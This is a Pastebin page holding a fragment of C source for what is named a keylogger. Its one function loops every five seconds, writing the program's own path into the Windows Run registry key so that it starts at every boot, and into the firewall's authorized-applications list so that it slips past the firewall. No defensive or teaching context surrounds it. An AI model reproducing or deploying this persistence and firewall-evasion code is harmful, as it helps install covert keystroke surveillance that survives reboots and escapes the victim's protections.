Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- char *Keylogger;
- DWORD WINAPI AddRegistryKey(LPVOID lpVoid)
- {
- HKEY RegistryKey;
- char FilePath[255];
- GetModuleFileName(0, FilePath, sizeof(FilePath));
- while(true)
- {
- if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, REG_OPTION_NON_VOLATILE,
- KEY_ALL_ACCESS, 0, &RegistryKey, 0) == ERROR_SUCCESS)
- {
- RegSetValueEx(RegistryKey, Keylogger, 0, REG_SZ, (unsigned char *)FilePath, strlen(FilePath) + 1);
- RegCloseKey(RegistryKey);
- }
- if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0,
- 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &RegistryKey, 0) == ERROR_SUCCESS )
- {
- RegSetValueEx(RegistryKey, Keylogger, 0, REG_SZ, (unsigned char *)FilePath, strlen(FilePath) + 1 );
- RegCloseKey(RegistryKey);
- }
- Sleep(5000);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment